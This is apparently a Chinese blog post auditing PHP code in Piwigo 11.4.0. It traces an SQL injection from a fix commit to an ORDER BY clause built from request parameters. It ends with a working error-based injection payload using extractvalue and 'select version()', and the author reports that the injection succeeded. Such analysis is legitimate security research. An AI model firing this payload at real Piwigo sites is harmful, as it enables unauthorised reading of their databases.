文章目录

  • ​​Piwigo11.4.0存在SQL注入漏洞​​
  • ​​写在前面​​
  • ​​分析​​

Piwigo11.4.0存在SQL注入漏洞

写在前面

国内的不够玩了,玩玩国外的,不过刚找到一个最后告诉我,被交了,好吧为了高大一点教大家一个收集自己装备库的方法

分析

我们查看​​提交记录,点我直达​​,发现有一个fix是关于sql注入的

[PHP代码审计]Piwigo11.4.0存在SQL注入漏洞_SQL

那么我们安装好以后去看一眼,首先是首行的两个参数过滤

[PHP代码审计]Piwigo11.4.0存在SQL注入漏洞_二维数组_02

觉得很好玩给大家看一眼

[PHP代码审计]Piwigo11.4.0存在SQL注入漏洞_SQL_03

限制为数字,好了不多吹牛逼了,看下面正题

[PHP代码审计]Piwigo11.4.0存在SQL注入漏洞_SQL_04

首先是接收​​order​​​参数保证二维数组的​​[0][column]​​​有值并赋值给变量​​$col​​,接下来重点是第一个if条件语句

if ( $_REQUEST['columns'][$col]["searchable"] == "true" )
{
$sOrder .= $aColumns[ $col ].' '.$_REQUEST["order"][0]["dir"].', ';
}

根据我们判断请求传入的columns二维数组的​​[$col]["searchable"]​​​为true即可,之后拼接​​$_REQUEST["order"][0]["dir"]​​,因此我们构造

order[0][column]=aa&columns[aa][searchable]=true&order[0][dir]=extractvalue(0x0a,concat(0x0a,(select version())))

成功实现注入

[PHP代码审计]Piwigo11.4.0存在SQL注入漏洞_条件语句_05